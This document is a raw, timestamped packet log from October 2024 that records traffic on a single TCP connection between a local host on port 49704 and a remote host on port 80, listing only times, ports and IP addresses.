Oct 30, 2024 23:11:14.895154953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.895427942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.895498991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.895577908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.895647049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.895677090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.895689964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.895728111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.895760059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.949675083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.949712992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.949726105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.949807882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.949831963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.949899912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.949944973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:14.950077057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.950088978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:14.950134039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.012517929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.012541056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.012598038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.012609959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.012651920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.012748003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.012759924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.012777090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.012806892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.012831926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.013367891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.013428926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.013495922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.013549089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.013571024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.013582945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.013623953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.057245970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.057274103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.057286024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.057364941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.057423115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.057444096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.057499886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.057524920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.057571888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.057687044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.057768106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.057770967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.057780027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.057816982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.057842016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.130397081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.130429029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.130439043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.130470037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.130503893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.130536079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.130585909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.130592108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.130640030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.130677938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.130691051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.130737066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.130737066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.130877018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.130933046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.131323099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.131341934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.131378889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.131437063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.131531954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.131592035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.131612062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.131705999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.174974918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.175043106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.175052881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.175098896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.175131083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.175160885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.175174952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.175209999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.175239086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.175297022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.175378084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.175743103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.175813913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.175823927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.175837040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.175877094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.175909996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.175973892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.176043987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.248161077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.248178959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.248264074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.248318911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.248372078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.248372078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.248385906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.248418093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.248538017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.248585939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.249058962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.249114037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.249196053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.249243021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.249258995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.249272108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.249301910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.249317884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.292921066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.292990923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.293003082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.293016911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.293047905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.293127060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.293174982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.293221951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.293340921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.293405056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.293426991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.293483973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.293684006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.293735027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.293740034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.293787956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.293791056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.293838024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.366219997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.366292953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.366348982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.366369009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.366388083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.366393089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.366400957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.366417885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.366442919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.366571903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.366620064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.367151976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.367197990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.367198944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.367239952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.367335081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.367347002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.367383957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.367399931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.367837906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.367885113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.410655975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.410681009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.410727978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.410737038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.410785913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.410785913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.410824060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.410836935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.410856009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.410885096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.410917044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.411530018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.411587000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.411684990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.411739111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.411798000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.411809921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.411851883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.411885023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.484354019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.484422922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.484433889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.484481096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.484518051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.484576941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.484631062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.484743118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.484800100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.484842062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.484858990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.484894991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.484926939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.484994888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.485052109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.485516071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.485568047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.528712034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.528830051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.528835058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.528844118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.528875113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.528884888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.528919935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.528939009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.528980970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.529027939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.529119968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.529181957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.529189110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.529195070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.529228926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.529259920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.529603004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.529652119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.529669046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.529680967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.529714108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.529743910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.529822111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.529867887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.623828888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.623908997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.623925924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.623958111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.623958111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.624007940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.624063969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.624111891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.624202013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.624212980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.624224901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.624238014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.624263048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.624301910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.624491930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.624557018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.646564007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.646637917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.646640062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.646652937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.646689892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.646713018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.646809101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.646855116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.647002935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.647047043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.647113085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.647126913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.647156954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.647171021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.647242069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.647285938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.647805929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.647850990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.647880077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.647891045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.647921085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.719593048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.719609976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.719713926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.719729900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.719742060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.719774961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.719805956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.719958067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.719996929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.720009089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.720011950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.720048904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.720048904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.720408916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.720496893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.720508099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.720587015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.720700979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.720758915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.721221924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.721285105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.721295118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.721332073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.765129089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.765141964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.765155077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.765255928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.765258074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.765295029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.765626907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.765685081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.765784025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.765844107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.767473936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.767487049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.767498970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.767509937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.767522097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.767534018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.767548084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.767597914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.838237047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.838267088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.838279009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.838303089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.838336945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.838399887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.838440895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.838598967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.838638067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.838665962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.838679075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.838706970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.838838100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.838881969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.839416027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.839468956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.839483023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.839494944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.839519978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.839534998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.882128954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.882195950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.882208109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.882208109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.882266045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.882266045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.882337093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.882385969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.882482052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.882529974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.882555008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.882566929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.882601023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.882633924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.882946014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.882997990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.883018970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.883030891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.883080006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.883105040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.883166075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.883212090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.883666039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.883717060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.883723021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.883766890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.958762884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.958813906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.958836079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.958851099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:15.958878040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:15.958904028 CET	49704	80	192.168.2.5	185.215.113.206
